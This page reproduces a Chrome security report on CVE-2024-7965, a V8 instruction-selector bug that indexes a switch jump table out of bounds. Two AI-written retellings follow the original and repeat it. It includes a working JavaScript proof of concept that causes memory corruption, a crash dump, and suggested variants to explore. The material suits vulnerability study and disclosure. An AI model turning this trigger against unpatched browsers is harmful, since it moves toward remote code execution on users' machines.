Skip to content
Memory corruption Advisory Advanced CVE-2024-7965

Inappropriate implementation in V8 (CVE-2024-7965)

A bug in V8's instruction selector caused the high 32 bits of a switch index to be incorrectly assumed zero-extended, leading to an out-of-bounds jump table access. An attacker could trigger memory corruption and potentially achieve remote code execution.

TheDog Follow

Originally disclosed on Chrome VRP

Bounty$11,000 High View original
  • Fix shipped in 42 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

VisitSwitch() is used to select instructions for the Switch operation. When using jump table to implement switch, a 64-bit value is used as the index of the jump table, so the high 32 bits of the input node need to be extended by 00 to ensure that it does not cross the boundary.

VisitSwitch() will call ZeroExtendsWord32ToWord64() to determine whether the upper 32 bits of the input node have been extended to 00. If the function returns True, then the redundant kX64Movl will no longer be generated.

C++
template <typename Adapter>
void InstructionSelectorT<Adapter>::VisitSwitch(node_t node,
                                                const SwitchInfo& sw) {
  X64OperandGeneratorT<Adapter> g(this);
  InstructionOperand value_operand = g.UseRegister(this->input_at(node, 0));

  // Either generate ArchTableSwitch directive or generate ArchBinarySearchSwitch directive
  if (enable_switch_jump_table_ == InstructionSelector::kEnableSwitchJumpTable) {    // Support switch jump table
    static const size_t kMaxTableSwitchValueRange = 2 << 16;
    size_t table_space_cost = 4 + sw.value_range();    // The range of index values
    size_t table_time_cost = 3;
    size_t lookup_space_cost = 3 + 2 * sw.case_count();    // How many cases are there?
    size_t lookup_time_cost = sw.case_count();
    if (sw.case_count() > 4 &&    // Number of branches > 4
        table_space_cost + 3 * table_time_cost <= lookup_space_cost + 3 * lookup_time_cost && // The cost of jump table is less than the cost of binary search.
        sw.min_value() > std::numeric_limits<int32_t>::min() &&    // min_value > Minimum value of int32
        sw.value_range() <= kMaxTableSwitchValueRange) {    // Value range <= maximum range of table jump
      InstructionOperand index_operand = g.TempRegister();

      // The high 32 bits of the index are extended by 00, because the 64-bit index will be used as the jump table index.
      if (sw.min_value()) {    // If the minimum value of index is not 0
        // Lea32 will automatically perform zero extension, and the result is a valid 64-bit index
        Emit(kX64Lea32 | AddressingModeField::encode(kMode_MRI), index_operand,
             value_operand, g.TempImmediate(-sw.min_value()));
      } else {    // If the minimum value of index is 0
        if (ZeroExtendsWord32ToWord64(this->input_at(node, 0))) {    // <==== BUG Here
          // The input node value has been extended by 00, so value_operand is used directly as the 64-bit index.
          index_operand = value_operand;
        } else {    
          Emit(kX64Movl, index_operand, value_operand);
        }
      }
      return EmitTableSwitch(sw, index_operand);
    }
  }
  return EmitBinarySearchSwitch(sw, value_operand);
}

However, there is a bug in the judgment of ZeroExtendsWord32ToWord64():

ZeroExtendsWord32ToWord64() is used to determine whether the high 32 bits of the node node have been extended by 00. This method will recurse when encountering a phi node. If the phi node being visited is encountered during recursion, it will optimistically assume that the node is guaranteed to have the high 32 bits extended by 00

C++
#if V8_TARGET_ARCH_64_BIT
template <typename Adapter>
bool InstructionSelectorT<Adapter>::ZeroExtendsWord32ToWord64(
    node_t node, int recursion_depth) {
  // Limit recursion depth to avoid the possibility of stack overflow on very
  // large functions.
  const int kMaxRecursionDepth = 100;

  if (this->IsPhi(node)) {    // This node is a phi node
    Upper32BitsState current = phi_states_[this->id(node)];    // Get the status of the node
    if (current != Upper32BitsState::kNotYetChecked) {    // The node has been calculated.
      return current == Upper32BitsState::kUpperBitsGuaranteedZero;
    }

    // If the recursion level is too deep, return false
    if (recursion_depth >= kMaxRecursionDepth) {
      return false;
    }

    // Mark the current node so that we skip it if we recursively visit it
    // again. Or, said differently, we compute a largest fixed-point so we can
    // be optimistic when we hit cycles.
    phi_states_[this->id(node)] = Upper32BitsState::kUpperBitsGuaranteedZero;    // <=== BUG Here

    // Traverse all input nodes of the phi node
    int input_count = this->value_input_count(node);
    for (int i = 0; i < input_count; ++i) {
      node_t input = this->input_at(node, i); 
      // As long as the high 32 bits of any input node of phi are not extended to 00, then this phi node cannot guarantee the high 32 bits to be extended to 00.
      if (!ZeroExtendsWord32ToWord64(input, recursion_depth + 1)) {  
        phi_states_[this->id(node)] = Upper32BitsState::kNoGuarantee;
        return false;
      }
    }
    return true;
  }
  return ZeroExtendsWord32ToWord64NoPhis(node);
}
#endif  // V8_TARGET_ARCH_64_BIT

Assume that the structure of Turboshaft Node before instruction selection is as follows

103: Switch(89)
    |
    V  
89: Phi(85, 117) <------------------------------|
    |                                           |
    |                                           |
    |---->85: Phi(24, 28, 76, 69, 58, 68)       |
    |       |                                   |
    |       |--->24: Constant2                  |
    |       |                                   |
    |       |--->28: Phi(4, 89)                 |
    |                |                          |
    |                |---> 4: Constant0         |
    |                |                          |
    |                |--------------------------
    |
    |---->117: Phi(24, 89, 108, 69, 58, 68)
            |
            |->24: Constant
            |->89: Constant
            |->108: Load SMI

The process of calculating ZeroExtendsWord32ToWord64(89) when selecting the instruction for Switch(89) is as follows

  • 89: Since 89 is a Phi node, it will mark phi_states_[89] = kUpperBitsGuaranteedZero, and then recursively traverse the input nodes
    • 85: Since 85 is also a Phi node, it will mark phi_states_[85] = kUpperBitsGuaranteedZero, and then recursively traverse the input nodes
      • 24: It is Constant, so it returns true
      • 28: Since it is a Phi node, it will mark phi_states_[28] = kUpperBitsGuaranteedZero, and then recursively traverse the input nodes
        • 4: It is Constant0, and it returns true
        • 89: Here we encounter the previously recursively accessed Phi node. Since we optimistically believe that phi_states_[89] = kUpperBitsGuaranteedZero, we believe that the high 32 bits of 89 are truncated to 00. However, the calculation for 89 is not completed. We mistakenly believe that the high 32 bits of node 28 are extended to 00. However, if the value of node 108: Load is passed to node 28: Phi through node 89: Phi, the high 32 bits of the value are not actually extended to 00.

Root cause

Due to the SMI-corrupting mechanism, after loading an SMI from memory, the SMI will be added with cage_base by default, so the upper 32 bits should not be extended by 00 by default.

When ZeroExtendsWord32ToWord64() recursively visits a Phi node and encounters a node being visited, it should not assume that the node is extended by 00. In order to ensure safety, it should be considered as non-00 extended.

If ZeroExtendsWord32ToWord64() encounters a node being accessed, it should not assume that the node is 00-extended, but should be considered not to be 00-extended for safety reasons.

ZeroExtendsWord32ToWord64() is not only used in VisitSwitch(). Because ZeroExtendsWord32ToWord64() will incorrectly optimize some high 32-bit 00 extension operations, this will cause some ChangeUint32ToUint64 nodes to fail. Currently, I have only constructed a sample that causes memory corruption. Through some sophisticated exploits, this vulnerability may lead to RCE

VERSION The vulnerability was introduced in commit 5c0f7219bdb6793c4bb1f480f8ecce4acbb99139

REPRODUCTION CASE

POC:

JavaScript
let x = 1;
x = 0;

function opt() {
    let v4 = 0;
    for (let i = 0; i < 10; i++) {
        for(let j=0; j<6; j++) { 
            switch(v4) { 
                case 0:
                    v4 = 1;
                    break;
                case 1:
                    v4 = 2;
                    break;
                case 2:
                    v4 = 3;
                    break;
                case 3:
                    v4 = 4;
                    break;
                case 4:
                    v4 = x;
                    break;
            };
        }
    }
    return v4;
}

%PrepareFunctionForOptimization(opt);
print(opt());
print(opt());
%OptimizeFunctionOnNextCall(opt);
print(opt());

run as:

Shell
./d8 \
    --allow-natives-syntax \
    ./test.js

You will get a memory corruption:

Received signal 11 <unknown> 000000000000
./run.sh: line 6: 988335 Segmentation fault 

The instruction that caused the crash is located in the function generated by JIT

core dump: Note that $rcx is not a valid 64-bit index.

$rax   : 0x0               
$rbx   : 0x0000364f00040299  →  0x450040000100000d
$rcx   : 0x000017f500000000  →  0x0000000000040940
$rdx   : 0x5               
$rsp   : 0x00007fffffffc638  →  0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0
$rbp   : 0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0  →  0x00007fffffffcfc0
$rsi   : 0x000017f500298a79  →  0x9900000008002904
$rdi   : 0x000017f500000000  →  0x0000000000040940
$rip   : 0x00005555c01800e5  →  0x00801f0fca24ff41
$r8    : 0x000017f500000000  →  0x0000000000040940
$r9    : 0x000055556130ba90  →  0x1baddead0baddeaf
$r10   : 0x00005555c0180390  →  0x00005555c0180150  →  0xf98b4800000002b9
$r11   : 0x246             
$r12   : 0x0000364f000400b1  →  0xd600400200000009
$r13   : 0x000055556128f080  →  0x00005555601a6040  →  <Builtins_AdaptorWithBuiltinExitFrame+0> push rbp
$r14   : 0x000017f500000000  →  0x0000000000040940
$r15   : 0x00007fffffffc648  →  0x00005555601eb5dc  →  <Builtins_InterpreterEntryTrampoline+732> mov rcx, rax
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
....
   0x5555c01800d5                  cmp    ecx, 0x9
   0x5555c01800d8                  jae    0x5555c0180155
   0x5555c01800de                  lea    r10, [rip+0x2ab]        # 0x5555c0180390
 → 0x5555c01800e5                  jmp    QWORD PTR [r10+rcx*8]
   0x5555c01800e9                  nop    DWORD PTR [rax+0x0]
   0x5555c01800f0                  movabs rcx, 0x17f500298a79
   0x5555c01800fa                  mov    edi, DWORD PTR [rcx+0x13]
   0x5555c01800fd                  add    rdi, r14
   0x5555c0180100                  cmp    edi, 0x741

POC is tested on the following platforms

  • CPU: x86_64, AMD 5950x
  • OS: Ubuntu 20.04.4 LTS
  • v8: b7e2046e322fb451feee7c324fb062933a7cb338
  • Compilation parameters of v8
v8_monolithic=true
is_component_build=false
v8_use_external_startup_data=false
target_cpu = "x64"

is_debug = false

v8_enable_sandbox = false
v8_enable_v8_checks=false
dcheck_always_on = false
v8_enable_verify_heap = false

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: TheDog

The original report as published on the Chromium issue tracker, by TheDog. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a Chrome VRP report against V8, the JavaScript engine used by Chrome. The bug is an inappropriate implementation in the instruction selector, the compiler stage that turns the engine's intermediate representation into machine instructions. It was assigned CVE-2024-7965, rated high severity, and paid a bounty of 11,000 USD. The report was disclosed on 9 September 2024 and credited to TheDog.

The specific feature involved is the lowering of the JavaScript switch statement. When a switch has enough cases and a small enough value range, V8's instruction selector can implement it as a jump table instead of a chain of comparisons or a binary search. On x64, the jump table is indexed with a 64-bit register, so the value used as the index must have its upper 32 bits guaranteed to be zero. If they are not, the index can point outside the table.

The report also notes that the same helper is used beyond VisitSwitch(), so the flaw is not limited to switch lowering.

Setup

The proof of concept was tested with a locally built d8, V8's standalone shell, on the following platform:

  • CPU: x86_64, AMD 5950x
  • OS: Ubuntu 20.04.4 LTS
  • v8: [redacted]

The build parameters used were:

Text
v8_monolithic=true
is_component_build=false
v8_use_external_startup_data=false
target_cpu = "x64"

is_debug = false

v8_enable_sandbox = false
v8_enable_v8_checks=false
dcheck_always_on = false
v8_enable_verify_heap = false

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true

The PoC relies on native syntax (%PrepareFunctionForOptimization, %OptimizeFunctionOnNextCall), so d8 must be run with --allow-natives-syntax. The vulnerability was introduced in commit [redacted].

Finding it

The starting point is VisitSwitch(), which selects instructions for the Switch operation. When the jump table path is taken, a 64-bit value is used as the index into the table, so the high 32 bits of the input node must be zero-extended to avoid crossing the table boundary.

VisitSwitch() calls ZeroExtendsWord32ToWord64() to decide whether the upper 32 bits of the input node are already zero. If that function returns true, the redundant kX64Movl is not emitted.

C++
template <typename Adapter>
void InstructionSelectorT<Adapter>::VisitSwitch(node_t node,
                                                const SwitchInfo& sw) {
  X64OperandGeneratorT<Adapter> g(this);
  InstructionOperand value_operand = g.UseRegister(this->input_at(node, 0));

  // Either generate ArchTableSwitch directive or generate ArchBinarySearchSwitch directive
  if (enable_switch_jump_table_ == InstructionSelector::kEnableSwitchJumpTable) {    // Support switch jump table
    static const size_t kMaxTableSwitchValueRange = 2 << 16;
    size_t table_space_cost = 4 + sw.value_range();    // The range of index values
    size_t table_time_cost = 3;
    size_t lookup_space_cost = 3 + 2 * sw.case_count();    // How many cases are there?
    size_t lookup_time_cost = sw.case_count();
    if (sw.case_count() > 4 &&    // Number of branches > 4
        table_space_cost + 3 * table_time_cost <= lookup_space_cost + 3 * lookup_time_cost && // The cost of jump table is less than the cost of binary search.
        sw.min_value() > std::numeric_limits<int32_t>::min() &&    // min_value > Minimum value of int32
        sw.value_range() <= kMaxTableSwitchValueRange) {    // Value range <= maximum range of table jump
      InstructionOperand index_operand = g.TempRegister();

      // The high 32 bits of the index are extended by 00, because the 64-bit index will be used as the jump table index.
      if (sw.min_value()) {    // If the minimum value of index is not 0
        // Lea32 will automatically perform zero extension, and the result is a valid 64-bit index
        Emit(kX64Lea32 | AddressingModeField::encode(kMode_MRI), index_operand,
             value_operand, g.TempImmediate(-sw.min_value()));
      } else {    // If the minimum value of index is 0
        if (ZeroExtendsWord32ToWord64(this->input_at(node, 0))) {    // <==== BUG Here
          // The input node value has been extended by 00, so value_operand is used directly as the 64-bit index.
          index_operand = value_operand;
        } else {
          Emit(kX64Movl, index_operand, value_operand);
        }
      }
      return EmitTableSwitch(sw, index_operand);
    }
  }
  return EmitBinarySearchSwitch(sw, value_operand);
}

The jump table path is only taken when the switch has more than four cases, when the estimated cost of the table is no greater than the cost of a binary search, when the minimum value is above the minimum int32_t, and when the value range fits within kMaxTableSwitchValueRange. When the minimum value is non-zero, a kX64Lea32 is emitted, which zero-extends automatically. When the minimum value is zero, the code asks ZeroExtendsWord32ToWord64() whether the input is already zero-extended and, if so, uses the value register directly as the 64-bit index.

The bug is in that judgement. ZeroExtendsWord32ToWord64() recurses when it meets a phi node. If it reaches a phi node that is already being visited in the current recursion, it optimistically assumes that the node is guaranteed to have its high 32 bits zero-extended.

C++
#if V8_TARGET_ARCH_64_BIT
template <typename Adapter>
bool InstructionSelectorT<Adapter>::ZeroExtendsWord32ToWord64(
    node_t node, int recursion_depth) {
  // Limit recursion depth to avoid the possibility of stack overflow on very
  // large functions.
  const int kMaxRecursionDepth = 100;

  if (this->IsPhi(node)) {    // This node is a phi node
    Upper32BitsState current = phi_states_[this->id(node)];    // Get the status of the node
    if (current != Upper32BitsState::kNotYetChecked) {    // The node has been calculated.
      return current == Upper32BitsState::kUpperBitsGuaranteedZero;
    }

    // If the recursion level is too deep, return false
    if (recursion_depth >= kMaxRecursionDepth) {
      return false;
    }

    // Mark the current node so that we skip it if we recursively visit it
    // again. Or, said differently, we compute a largest fixed-point so we can
    // be optimistic when we hit cycles.
    phi_states_[this->id(node)] = Upper32BitsState::kUpperBitsGuaranteedZero;    // <=== BUG Here

    // Traverse all input nodes of the phi node
    int input_count = this->value_input_count(node);
    for (int i = 0; i < input_count; ++i) {
      node_t input = this->input_at(node, i);
      // As long as the high 32 bits of any input node of phi are not extended to 00, then this phi node cannot guarantee the high 32 bits to be extended to 00.
      if (!ZeroExtendsWord32ToWord64(input, recursion_depth + 1)) {
        phi_states_[this->id(node)] = Upper32BitsState::kNoGuarantee;
        return false;
      }
    }
    return true;
  }
  return ZeroExtendsWord32ToWord64NoPhis(node);
}
#endif  // V8_TARGET_ARCH_64_BIT

The function marks the phi as kUpperBitsGuaranteedZero before it has finished checking the phi's inputs, so that a cycle does not recurse forever. The comment says this computes a largest fixed-point so the analysis can be optimistic when it hits cycles. The problem is that the optimistic answer can be returned to a caller that then relies on it as if it were proven.

Exploitation

Step 1: understand the node graph

The report gives the shape of the Turboshaft graph before instruction selection:

Text
103: Switch(89)
    |
    V
89: Phi(85, 117) <------------------------------|
    |                                           |
    |                                           |
    |---->85: Phi(24, 28, 76, 69, 58, 68)       |
    |       |                                   |
    |       |--->24: Constant2                  |
    |       |                                   |
    |       |--->28: Phi(4, 89)                 |
    |                |                          |
    |                |---> 4: Constant0         |
    |                |                          |
    |                |--------------------------
    |
    |---->117: Phi(24, 89, 108, 69, 58, 68)
            |
            |->24: Constant
            |->89: Constant
            |->108: Load SMI

Node 89 is the value switched on. It is a phi whose inputs include node 85, which is itself a phi, and node 117, which is a phi that includes a Load SMI (node 108). Node 85 includes node 28, another phi, whose inputs are a constant zero and node 89 again. That back edge from 28 to 89 is the cycle.

Step 2: follow the recursion

The report walks through ZeroExtendsWord32ToWord64(89) as it runs while selecting the instruction for Switch(89):

  1. 89 is a phi, so it sets phi_states_[89] = kUpperBitsGuaranteedZero and recurses into its inputs.
  2. 85 is also a phi, so it sets phi_states_[85] = kUpperBitsGuaranteedZero and recurses into its inputs.
  3. 24 is a Constant, so it returns true.
  4. 28 is a phi, so it sets phi_states_[28] = kUpperBitsGuaranteedZero and recurses into its inputs.
  5. 4 is Constant0, so it returns true.
  6. 89 is reached again. Because phi_states_[89] was already set to kUpperBitsGuaranteedZero at the start, the function treats 89 as zero-extended, even though the check of 89 has not finished. That makes 28 look zero-extended, and the result propagates back up.

The report spells out the consequence: if the value of node 108: Load reaches node 28: Phi through node 89: Phi, the high 32 bits of that value are not actually zero-extended. The optimistic assumption is wrong for this graph.

Step 3: why a loaded SMI is not zero-extended

The report points to the root cause in instruction-selector.cc and explains the SMI-corrupting mechanism: after loading an SMI from memory, the SMI is by default added to cage_base, so the upper 32 bits should not be assumed to be zero. That is exactly the input that the cycle lets the analysis ignore.

Step 4: build a JavaScript trigger

The PoC drives the optimiser into producing the graph above. It uses a nested loop with a switch on v4, where one case assigns the global x (set to 0) and the other cases step v4 through 1 to 4:

JavaScript
let x = 1;
x = 0;

function opt() {
    let v4 = 0;
    for (let i = 0; i < 10; i++) {
        for(let j=0; j<6; j++) {
            switch(v4) {
                case 0:
                    v4 = 1;
                    break;
                case 1:
                    v4 = 2;
                    break;
                case 2:
                    v4 = 3;
                    break;
                case 3:
                    v4 = 4;
                    break;
                case 4:
                    v4 = x;
                    break;
            };
        }
    }
    return v4;
}

%PrepareFunctionForOptimization(opt);
print(opt());
print(opt());
%OptimizeFunctionOnNextCall(opt);
print(opt());

The function is called twice before optimisation is requested for the next call.

Step 5: run it

Shell
./d8 \
    --allow-natives-syntax \
    ./test.js

The result is a memory corruption and a crash:

Text
Received signal 11 <unknown> 000000000000
./run.sh: line 6: 988335 Segmentation fault

The crashing instruction is in the JIT-generated function. The core dump shows $rcx holding a value that is not a valid 64-bit index:

Text
$rax   : 0x0
$rbx   : 0x0000364f00040299  →  0x450040000100000d
$rcx   : 0x000017f500000000  →  0x0000000000040940
$rdx   : 0x5
$rsp   : 0x00007fffffffc638  →  0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0
$rbp   : 0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0  →  0x00007fffffffcfc0
$rsi   : 0x000017f500298a79  →  0x9900000008002904
$rdi   : 0x000017f500000000  →  0x0000000000040940
$rip   : 0x00005555c01800e5  →  0x00801f0fca24ff41
$r8    : 0x000017f500000000  →  0x0000000000040940
$r9    : 0x000055556130ba90  →  0x1baddead0baddeaf
$r10   : 0x00005555c0180390  →  0x00005555c0180150  →  0xf98b4800000002b9
$r11   : 0x246
$r12   : 0x0000364f000400b1  →  0xd600400200000009
$r13   : 0x000055556128f080  →  0x00005555601a6040  →  <Builtins_AdaptorWithBuiltinExitFrame+0> push rbp
$r14   : 0x000017f500000000  →  0x0000000000040940
$r15   : 0x00007fffffffc648  →  0x00005555601eb5dc  →  <Builtins_InterpreterEntryTrampoline+732> mov rcx, rax
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
....
   0x5555c01800d5                  cmp    ecx, 0x9
   0x5555c01800d8                  jae    0x5555c0180155
   0x5555c01800de                  lea    r10, [rip+0x2ab]        # 0x5555c0180390
 → 0x5555c01800e5                  jmp    QWORD PTR [r10+rcx*8]
   0x5555c01800e9                  nop    DWORD PTR [rax+0x0]
   0x5555c01800f0                  movabs rcx, 0x17f500298a79
   0x5555c01800fa                  mov    edi, DWORD PTR [rcx+0x13]
   0x5555c01800fd                  add    rdi, r14
   0x5555c0180100                  cmp    edi, 0x741

The report notes that $rcx is not a valid 64-bit index, and the disassembly shows the indirect jump jmp QWORD PTR [r10+rcx*8]. Because the upper bits of rcx were not zero, the jump reads a target from outside the table and the process faults.

Root cause

ZeroExtendsWord32ToWord64() marks a phi as kUpperBitsGuaranteedZero before it has checked the phi's inputs, so that recursion terminates on cycles. When the recursion comes back to a phi that is still being checked, it reads that optimistic marker and returns true. The caller in VisitSwitch() then skips the kX64Movl that would have zero-extended the value, and the unextended value is used as a 64-bit jump table index.

The report states the correct behaviour plainly: when the function recursively visits a phi and encounters a node that is already being visited, it should not assume the node is zero-extended. For safety it should be treated as not zero-extended.

The report also notes that ZeroExtendsWord32ToWord64() is not only used in VisitSwitch(). Because it can wrongly optimise away high 32-bit zero-extension operations, some ChangeUint32ToUint64 nodes can also fail. The report says only a sample causing memory corruption was constructed at the time of writing.

Impact

The report describes the demonstrated effect as memory corruption, and states that through some sophisticated exploits the vulnerability may lead to RCE. The crash occurs in JIT-generated code when the jump table is indexed with a value whose upper 32 bits were not zeroed. The conditions are the jump table path in VisitSwitch(): more than four cases, a cost estimate favouring the table, a minimum value above the int32_t minimum, a value range within kMaxTableSwitchValueRange, and a minimum value of zero so that the ZeroExtendsWord32ToWord64() check is reached.

Fix

The report does not describe the patch that was applied. What it recommends is that ZeroExtendsWord32ToWord64() treat a phi node that is encountered while it is still being visited as not zero-extended, rather than assuming it is zero-extended. That removes the unsound optimistic answer.

Variants to test

  • Other callers of ZeroExtendsWord32ToWord64(). The report says the helper is used outside VisitSwitch() and that ChangeUint32ToUint64 nodes can be affected. Look for other lowering paths that rely on the same answer and check whether a phi cycle can make them skip a required zero-extension. A positive result is a value with non-zero upper bits reaching a 64-bit consumer.
  • Different phi cycle shapes. The report's graph has a back edge from a nested phi (28) to the switched-on phi (89). Try cycles of different depth and with different input kinds, such as a Load SMI reaching the cycle through a different route. A positive result is the same crash in the jump table dispatch.
  • Switch shapes that still take the jump table. Vary the number of cases and the value range while keeping the minimum value at zero, so the ZeroExtendsWord32ToWord64() branch is taken. A positive result is a JIT-compiled switch whose index register holds a value with non-zero upper bits at the indirect jump.
  • Non-zero minimum values. When sw.min_value() is non-zero the code emits kX64Lea32, which zero-extends, so that path should not be affected. Confirming this helps isolate the bug to the zero-minimum branch.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Chrome runs JavaScript using a component called V8. V8 does not simply read your code line by line forever; when it notices that a function is used a lot, it translates that function into fast machine code, the raw instructions the processor executes. This translation step is called compilation, and the part that picks the exact processor instructions is called the instruction selector.

One JavaScript feature is the switch statement, which chooses between several options based on a value, a bit like a railway switch sending a train down one of several tracks. When a switch has many options and the values are close together, V8 can build a lookup table: a list of destinations, and it jumps straight to the entry matching the value. On 64-bit processors the value used to pick the entry is a 64-bit number, and the code assumes the top half of that number is zero. If the top half is not zero, the lookup lands far outside the table and the program reads or jumps to the wrong place. That is memory corruption: the program uses memory it should not.

This report describes exactly that. A helper function in V8, ZeroExtendsWord32ToWord64(), is supposed to answer the question "are the top 32 bits of this value already zero?". In one situation, involving a loop in the internal graph of the program, it answers "yes" when the honest answer is "not proven". The instruction selector then skips the instruction that would have cleared the top bits, and the jump table is indexed with a value whose top bits are not zero. The result is a crash, and the report says that with more work it could become remote code execution (RCE), meaning an attacker could run their own code on the machine.

The bug was tracked as CVE-2024-7965, rated high severity, and paid a bounty of 11,000 USD under the Chrome Vulnerability Reward Program (VRP). It was disclosed on 9 September 2024 and credited to TheDog.

Context

This is a Chrome VRP report against V8, the JavaScript engine used by Chrome. A VRP, or Vulnerability Reward Program, is a scheme where a company pays people who privately report security bugs, so the bugs can be fixed before criminals find them. The bug is an inappropriate implementation in the instruction selector, the compiler stage that turns the engine's intermediate representation into machine instructions. "Inappropriate implementation" is a broad label meaning the code does something that is not safe, rather than, say, a simple typo in a check.

The specific feature involved is the lowering of the JavaScript switch statement. "Lowering" means turning a high-level construct into lower-level instructions. When a switch has enough cases and a small enough value range, V8's instruction selector can implement it as a jump table instead of a chain of comparisons or a binary search. A jump table is an array of code addresses; the value being switched on is used as an index into that array, and the processor jumps to the address stored there. On x64, the family of 64-bit processors used in most desktop computers, the jump table is indexed with a 64-bit register, so the value used as the index must have its upper 32 bits guaranteed to be zero. If they are not, the index can point outside the table.

The report also notes that the same helper is used beyond VisitSwitch(), so the flaw is not limited to switch lowering.

Setup

The proof of concept was tested with a locally built d8, V8's standalone shell. d8 is a small command-line program that runs JavaScript using V8 without a browser around it, which makes experiments easier. It was run on the following platform:

  • CPU: x86_64, AMD 5950x
  • OS: Ubuntu 20.04.4 LTS
  • v8: [redacted]

The build parameters used were:

Text
v8_monolithic=true
is_component_build=false
v8_use_external_startup_data=false
target_cpu = "x64"

is_debug = false

v8_enable_sandbox = false
v8_enable_v8_checks=false
dcheck_always_on = false
v8_enable_verify_heap = false

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true

These are settings for the build system that compiles V8. v8_monolithic=true builds one big library instead of many pieces. is_component_build=false does the same at a higher level. v8_use_external_startup_data=false keeps the startup data inside the binary. target_cpu = "x64" builds for 64-bit x86. is_debug = false builds an optimised, release-style binary rather than a slow debugging one. v8_enable_sandbox = false turns off V8's sandbox feature. v8_enable_v8_checks=false and dcheck_always_on = false turn off internal consistency checks, so the binary behaves like a normal release build. v8_enable_verify_heap = false turns off heap verification. v8_enable_backtrace = true, v8_enable_disassembler = true and v8_enable_object_print = true keep debugging aids available: stack traces, the ability to show machine code, and the ability to print internal objects.

The PoC relies on native syntax (%PrepareFunctionForOptimization, %OptimizeFunctionOnNextCall), so d8 must be run with --allow-natives-syntax. Native syntax means special functions starting with % that only exist in debugging shells like d8; they let a script tell the engine to prepare a function for optimisation and to optimise it on the next call. The vulnerability was introduced in commit [redacted]. A commit is a recorded change in a source code repository.

Finding it

The starting point is VisitSwitch(), which selects instructions for the Switch operation. When the jump table path is taken, a 64-bit value is used as the index into the table, so the high 32 bits of the input node must be zero-extended to avoid crossing the table boundary. "Zero-extended" means the upper bits are filled with zeros.

VisitSwitch() calls ZeroExtendsWord32ToWord64() to decide whether the upper 32 bits of the input node are already zero. If that function returns true, the redundant kX64Movl is not emitted. kX64Movl is a machine instruction that copies a 32-bit value into a register and, as a side effect, clears the upper 32 bits of the 64-bit register. Skipping it is only safe if the upper bits are already zero.

C++
template <typename Adapter>
void InstructionSelectorT<Adapter>::VisitSwitch(node_t node,
                                                const SwitchInfo& sw) {
  X64OperandGeneratorT<Adapter> g(this);
  InstructionOperand value_operand = g.UseRegister(this->input_at(node, 0));

  // Either generate ArchTableSwitch directive or generate ArchBinarySearchSwitch directive
  if (enable_switch_jump_table_ == InstructionSelector::kEnableSwitchJumpTable) {    // Support switch jump table
    static const size_t kMaxTableSwitchValueRange = 2 << 16;
    size_t table_space_cost = 4 + sw.value_range();    // The range of index values
    size_t table_time_cost = 3;
    size_t lookup_space_cost = 3 + 2 * sw.case_count();    // How many cases are there?
    size_t lookup_time_cost = sw.case_count();
    if (sw.case_count() > 4 &&    // Number of branches > 4
        table_space_cost + 3 * table_time_cost <= lookup_space_cost + 3 * lookup_time_cost && // The cost of jump table is less than the cost of binary search.
        sw.min_value() > std::numeric_limits<int32_t>::min() &&    // min_value > Minimum value of int32
        sw.value_range() <= kMaxTableSwitchValueRange) {    // Value range <= maximum range of table jump
      InstructionOperand index_operand = g.TempRegister();

      // The high 32 bits of the index are extended by 00, because the 64-bit index will be used as the jump table index.
      if (sw.min_value()) {    // If the minimum value of index is not 0
        // Lea32 will automatically perform zero extension, and the result is a valid 64-bit index
        Emit(kX64Lea32 | AddressingModeField::encode(kMode_MRI), index_operand,
             value_operand, g.TempImmediate(-sw.min_value()));
      } else {    // If the minimum value of index is 0
        if (ZeroExtendsWord32ToWord64(this->input_at(node, 0))) {    // <==== BUG Here
          // The input node value has been extended by 00, so value_operand is used directly as the 64-bit index.
          index_operand = value_operand;
        } else {
          Emit(kX64Movl, index_operand, value_operand);
        }
      }
      return EmitTableSwitch(sw, index_operand);
    }
  }
  return EmitBinarySearchSwitch(sw, value_operand);
}

Line by line, in plain words:

  1. X64OperandGeneratorT<Adapter> g(this); creates a helper that produces operands, the inputs and outputs of machine instructions, for the x64 architecture.
  2. InstructionOperand value_operand = g.UseRegister(this->input_at(node, 0)); takes the first input of the switch node, the value being switched on, and puts it in a register.
  3. The outer if checks whether jump tables are enabled at all.
  4. kMaxTableSwitchValueRange is the largest value range for which a jump table is allowed.
  5. The cost variables estimate how much space and time a jump table would take versus a binary search, which is a repeated halving search through sorted cases.
  6. The inner if decides whether the jump table is worthwhile: more than four cases, table cost no greater than lookup cost, minimum value above the smallest 32-bit signed integer, and value range within the limit.
